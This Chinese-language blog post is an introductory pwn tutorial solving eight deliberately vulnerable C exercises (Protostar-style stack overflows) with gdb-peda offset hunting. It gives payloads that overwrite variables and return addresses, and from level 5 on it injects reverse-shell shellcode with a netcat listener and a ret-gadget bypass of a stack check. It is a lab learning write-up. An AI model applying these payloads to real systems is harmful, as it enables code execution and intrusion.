f10@t's blog

入坑Pwn之基本知识

CTF CTF pwn
字数统计: 3.6k阅读时长: 19 min
2019/09/29 4

经过了多次比赛web的碰壁，发现现在单纯的web题已经很少见了。。大多都混合了如密码学、逆向等的知识。所以打算入坑pwn，打开新的大门。

要准备的工具(带后续补充)

  • 逆向分析及动态调试用：IDAPro，Ollydbg
  • 调试用：gdb，peda-gdb(或pwngdb这类基于gdb)，objdump
  • 其他工具：ROPgadget，one_gadget，LibcSearcher, pwntools

简单示例习题

题目来源

Level0

题目源代码： 

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#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
可以看到这个程序中有一个大小为64字节的buffer变量，以及一int型的变量modified。正常来说这个程序的执行肯定是输出"Try again?"。

但是这两个变量具有相同的栈底地址，并且buffer变量的输入是通过使用了一个不安全的函数gets()，这个函数之所以危险，是因为这个函数没有限制输入内容的上限，所以可以通过输入超过64字节的buffer变量来覆盖modified变量。

先扔进IDA里看一下反编译的代码：

可以看到变量数组和整型变量之间的地址相差5CH - 10H = 4CH = 76字节，所以用76个字节的数组输入之后，再填充一个非0的值就可以覆盖modified的变量值了。

Level1

Level1和Level0大同小异，Level1的区别是在代码中没有使用gets()这样的不推荐使用的危险函数，但是以不恰当的方式使用了strcpy()这个函数： 

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#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}
可以看到他将输入的参数argv直接拷贝进了buffer，而参数的长度也没有事先的进行检查。这个属于复制和连接字符串上的错误，其他如strcat()、sprintf()也可能会发生（推荐参考图书《C和C++安全编码》）

这段代码要求modified变量的值为十六进制的0x61626364，与上题相同，这里只给出payload(注意小端序)：

结果：

Level2

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#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

这个也是大同小异，只不过增加了环境变量这个概念，下面是getevn函数的说明: 

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......
DESCRIPTION
       The getenv() function searches the environment list to find the environment variable name, and returns a pointer to the corresponding value string.
......
当然这个从环境中获取的变量值的长度也是没有设定的，这里写一个简单的脚本，输出一个环境变量就可以了。 
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#!/usr/bin/env python 
#coding:utf-8

import os

payload = 'a' * 64 + '\x0a\x0d\x0a\x0d'
os.putenv("GREENIE", payload)
os.system("./level2")

'''
help on built-in function putenv in module posix:

putenv(...)
    putenv(key, value)
    
    Change or add an environment variable.

'''

Level3

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#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

扔进IDA：

算出地址差为40H即64字节。

使用objdump -d命令找到win()函数的地址为0x08048424。

注意一下小端序就可以了。这个简单的实例题演示了如何通过溢出覆写变量来改变程序的流程。

Level4

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#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

这道题目虽然没有其他可以覆盖的变量来进行函数的跳转，但是我们可以通过溢出来覆写main函数的返回地址，从而来改变程序的执行流程，下面进行gdb的调试来判断栈的空间大小：

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$ gdb -q level4
Reading symbols from level4...
gdb-peda$ pattern_create 100            #创建一个保证可以溢出的长度的字符串用于输入
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /root/Desktop/PwnStudy/Level0-7/level4 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EBX: 0x0 
ECX: 0xf7fa25c0 --> 0xfbad2288 
EDX: 0xf7fa401c --> 0x0 
ESI: 0xf7fa2000 --> 0x1d6d6c 
EDI: 0xf7fa2000 --> 0x1d6d6c 
EBP: 0x65414149 ('IAAe')
ESP: 0xffffd220 ("AJAAfAA5AAKAAgAA6AAL")
EIP: 0x41344141 ('AA4A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41344141
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 ("AJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd224 ("fAA5AAKAAgAA6AAL")
0008| 0xffffd228 ("AAKAAgAA6AAL")
0012| 0xffffd22c ("AgAA6AAL")
0016| 0xffffd230 ("6AAL")
0020| 0xffffd234 --> 0x0 
0024| 0xffffd238 --> 0xf7fa2000 --> 0x1d6d6c 
0028| 0xffffd23c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41344141 in ?? ()
gdb-peda$ pattern_offset 0x41344141
1093943617 found at offset: 76      #获得偏移量76

然后我们验证一下是否栈的空间大小就是76：

石锤了，那就objdump查找win函数的地址，覆写上去就好，payload：

　　

Level5

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#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

这个就更简洁了，那我们的目的就是执行一段我们插入的恶意代码了。下面进行gdb的调试： 

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gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /root/Desktop/PwnStudy/Level0-7/level5 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EBX: 0x0 
ECX: 0xf7fa25c0 --> 0xfbad2288 
EDX: 0xf7fa401c --> 0x0 
ESI: 0xf7fa2000 --> 0x1d6d6c 
EDI: 0xf7fa2000 --> 0x1d6d6c 
EBP: 0x65414149 ('IAAe')
ESP: 0xffffd220 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41344141 ('AA4A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41344141
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd224 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd228 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd22c ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd230 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd234 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd238 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd23c ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41344141 in ?? ()
gdb-peda$ pattern_offset 0x41344141
1093943617 found at offset: 76          #溢出大小为76字节
gdb-peda$ x/100xw $esp     #查看栈内前100个存储单元的内容，以16进制(x)每次4字节(w)的格式打印出来
0xffffd220:	0x41414a41	0x35414166	0x414b4141	0x41416741
0xffffd230:	0x4c414136	0x41684141	0x41413741	0x6941414d
0xffffd240:	0x41384141	0x41414e41	0x3941416a	0x414f4141
0xffffd250:	0x41416b41	0x6c414150	0x41514141	0x41416d41
0xffffd260:	0x6f414152	0x41534141	0x41417041	0x71414154
0xffffd270:	0x41554141	0x41417241	0x74414156	0x41574141
0xffffd280:	0x41417541	0x76414158	0x41594141	0x41417741
0xffffd290:	0x7841415a	0x41794141(注意这里)	0xffffd200	0x080483f0
0xffffd2a0:	0x080483e0	0xf7fe42d0	0xffffd2ac	0x0000001c
0xffffd2b0:	0x00000001	0xffffd468	0x00000000	0xffffd48f
0xffffd2c0:	0xffffd4b0	0xffffd4d6	0xffffd524	0xffffd57a
0xffffd2d0:	0xffffd58d	0xffffd5a7	0xffffd5b8	0xffffd5cb
0xffffd2e0:	0xffffd5fc	0xffffd606	0xffffd61c	0xffffd633
0xffffd2f0:	0xffffd63e	0xffffd656	0xffffd66a	0xffffd69d
0xffffd300:	0xffffd6a8	0xffffd6b7	0xffffd6d3	0xffffd710
0xffffd310:	0xffffd71d	0xffffd737	0xffffd74b	0xffffd777
0xffffd320:	0xffffd78f	0xffffd79c	0xffffd7b9	0xffffd7ca
0xffffd330:	0xffffd80c	0xffffd828	0xffffd83d	0xffffd84e
0xffffd340:	0xffffd863	0xffffd872	0xffffd880	0xffffd895
0xffffd350:	0xffffd8a9	0xffffd8cf	0xffffd8f3	0xffffd90a
0xffffd360:	0xffffd91e	0xffffd92f	0xffffd93a	0xffffd942
0xffffd370:	0xffffd969	0xffffd97e	0xffffd989	0xffffd991
0xffffd380:	0xffffd9b1	0xffffdf93	0xffffdfbc	0xffffdfc5
0xffffd390:	0x00000000	0x00000020	0xf7fd3070	0x00000021
0xffffd3a0:	0xf7fd2000	0x00000010	0x1f8bfbff	0x00000006

在确定了溢出的大小为76字节后，我们查看一下栈内的内容，(使用x/命令)，可以看到从0xffffd220到0xffffd298都是我们填充的内容，往后都不是了，所以我们可以插入的shellcode的大小为(0xffffd298 - oxffffd220) = 120个字节。这里我去exploit-db上随便找了一个107字节的shellcode，其目的是反弹一个shell到本地的4444端口，下面是payload： 
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#输出payload到一个文件
echo `python -c "print 'A' * 76 + '\x20\xd2\xff\xff' +'\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'"` > test.txt

#本地开启监听
nc -l -p 4444

#gdb中将文件作为输入进行读取
gdb-peda$ r < test.txt 
Starting program: /root/Desktop/PwnStudy/Level0-7/level5 < test.txt
process 4629 is executing new program: /usr/bin/dash

shell反弹之后就可以执行任意命令了：　　

Level6

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#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0); //__builtin_return_address(0)的含义是，得到当前函数返回地址

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1); 
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();

}

首先进行偏移量的确认和可写入大小的确认： 

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gdb-peda$ pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
Starting program: /root/Desktop/PwnStudy/Level0-7/level6 
input path please: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
got path AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAJAAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x136 
EBX: 0x0 
ECX: 0x7ffffeca 
EDX: 0xf7fa4010 --> 0x0 
ESI: 0xf7fa2000 --> 0x1d6d6c 
EDI: 0xf7fa2000 --> 0x1d6d6c 
EBP: 0x41344141 ('AA4A')
ESP: 0xffffd210 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA"...)
EIP: 0x41414a41 ('AJAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414a41
[------------------------------------stack-------------------------------------]
0000| 0xffffd210 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA"...)
0004| 0xffffd214 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%"...)
0008| 0xffffd218 ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%K"...)
0012| 0xffffd21c ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA"...)
0016| 0xffffd220 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0020| 0xffffd224 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0024| 0xffffd228 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0028| 0xffffd22c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414a41 in ?? ()
gdb-peda$ pattern_offset 0x41414a41
1094797889 found at offset: 80
gdb-peda$ x/200xw $esp
shellcode地址 ---> 0xffffd210:	0x35414166	0x414b4141	0x41416741	0x4c414136
0xffffd220:	0x41684141	0x41413741	0x6941414d	0x41384141
0xffffd230:	0x41414e41	0x3941416a	0x414f4141	0x41416b41
0xffffd240:	0x6c414150	0x41514141	0x41416d41	0x6f414152
0xffffd250:	0x41534141	0x41417041	0x71414154	0x41554141
0xffffd260:	0x41417241	0x74414156	0x41574141	0x41417541
0xffffd270:	0x76414158	0x41594141	0x41417741	0x7841415a
0xffffd280:	0x41794141	0x25417a41	0x73254125	0x41422541
0xffffd290:	0x25412425	0x4325416e	0x412d2541	0x25412825
0xffffd2a0:	0x3b254144	0x41292541	0x25414525	0x30254161
0xffffd2b0:	0x41462541	0x25416225	0x47254131	0x41632541
0xffffd2c0:	0x25413225	0x64254148	0x41332541	0x25414925
0xffffd2d0:	0x34254165	0x414a2541	0x25416625	0x4b254135
0xffffd2e0:	0x41672541	0x25413625(到这里)	0xffffd600	0xffffd633
0xffffd2f0:	0xffffd63e	0xffffd656	0xffffd66a	0xffffd69d
0xffffd300:	0xffffd6a8	0xffffd6b7	0xffffd6d3	0xffffd710
0xffffd310:	0xffffd71d	0xffffd737	0xffffd74b	0xffffd777
0xffffd320:	0xffffd78f	0xffffd79c	0xffffd7b9	0xffffd7ca
0xffffd330:	0xffffd80c	0xffffd828	0xffffd83d	0xffffd84e
0xffffd340:	0xffffd863	0xffffd872	0xffffd880	0xffffd895
0xffffd350:	0xffffd8a9	0xffffd8cf	0xffffd8f3	0xffffd90a
0xffffd360:	0xffffd91e	0xffffd92f	0xffffd93a	0xffffd942
0xffffd370:	0xffffd969	0xffffd97e	0xffffd989	0xffffd991
0xffffd380:	0xffffd9b1	0xffffdf93	0xffffdfbc	0xffffdfc5
结论：偏移量是80字节，可控大小为200字节。

这道题主要就是防止eip转到栈上去执行shell，主要是绕过0xbf000000这个检测（linux下的栈都是0xbf开头)。解决的方法是我们可以使用getpath()函数的ret指令来覆盖main函数的返回地址，当弹出ret到eip时，会执行ret指令(ret的地址是0x08开头,可以绕过上面的限制)，再弹出栈头的数据到eip,这时如果栈头是shellcode的地址，那么就溢出成功了。

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#查看getpath函数的ret指令地址：
gdb-peda$ disassemble getpath
Dump of assembler code for function getpath:
   0x08048484 <+0>:	push   ebp
   0x08048485 <+1>:	mov    ebp,esp
   0x08048487 <+3>:	sub    esp,0x68
   0x0804848a <+6>:	mov    eax,0x80485d0
   0x0804848f <+11>:	mov    DWORD PTR [esp],eax
   0x08048492 <+14>:	call   0x80483c0 <printf@plt>
   0x08048497 <+19>:	mov    eax,ds:0x8049720
   0x0804849c <+24>:	mov    DWORD PTR [esp],eax
   0x0804849f <+27>:	call   0x80483b0 <fflush@plt>
   0x080484a4 <+32>:	lea    eax,[ebp-0x4c]
   0x080484a7 <+35>:	mov    DWORD PTR [esp],eax
   0x080484aa <+38>:	call   0x8048380 <gets@plt>
   0x080484af <+43>:	mov    eax,DWORD PTR [ebp+0x4]
   0x080484b2 <+46>:	mov    DWORD PTR [ebp-0xc],eax
   0x080484b5 <+49>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080484b8 <+52>:	and    eax,0xbf000000
   0x080484bd <+57>:	cmp    eax,0xbf000000
   0x080484c2 <+62>:	jne    0x80484e4 <getpath+96>
   0x080484c4 <+64>:	mov    eax,0x80485e4
   0x080484c9 <+69>:	mov    edx,DWORD PTR [ebp-0xc]
   0x080484cc <+72>:	mov    DWORD PTR [esp+0x4],edx
   0x080484d0 <+76>:	mov    DWORD PTR [esp],eax
   0x080484d3 <+79>:	call   0x80483c0 <printf@plt>
   0x080484d8 <+84>:	mov    DWORD PTR [esp],0x1
   0x080484df <+91>:	call   0x80483a0 <_exit@plt>
   0x080484e4 <+96>:	mov    eax,0x80485f0
   0x080484e9 <+101>:	lea    edx,[ebp-0x4c]
   0x080484ec <+104>:	mov    DWORD PTR [esp+0x4],edx
   0x080484f0 <+108>:	mov    DWORD PTR [esp],eax
   0x080484f3 <+111>:	call   0x80483c0 <printf@plt>
   0x080484f8 <+116>:	leave  
   0x080484f9 <+117>:	ret        <--- \xf9\x84\x04\x08

# shellcode的地址
0xffffd210   在上面

那么最终payload的格式是这样的：'A' * 80 | ret指令地址 | shellcode的地址 | 隔离'\x90' * 10| shellcode

我还是用上面的那个shellcode来构造最终的payload:

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# 输出paylaod 804835f
echo `python -c "print 'A' * 80 + '\x5f\x83\x04\x08' +'\x10\xd2\xff\xff' + '\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'"` > payload6.txt

Level7

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#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();

}

paylaod同上： 

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echo `python -c "print 'A' * 80 + '\x83\x83\04\x08' + '\x00\xd2\xff\xff' + '\x90'*20 + '\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'"` > payload7.txt

原文作者：f10@t

原文链接：https://lzwgiter.github.io/posts/a715340f/

发表日期：September 29th 2019, 12:26:38 pm

更新日期：July 24th 2024, 10:23:11 am

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

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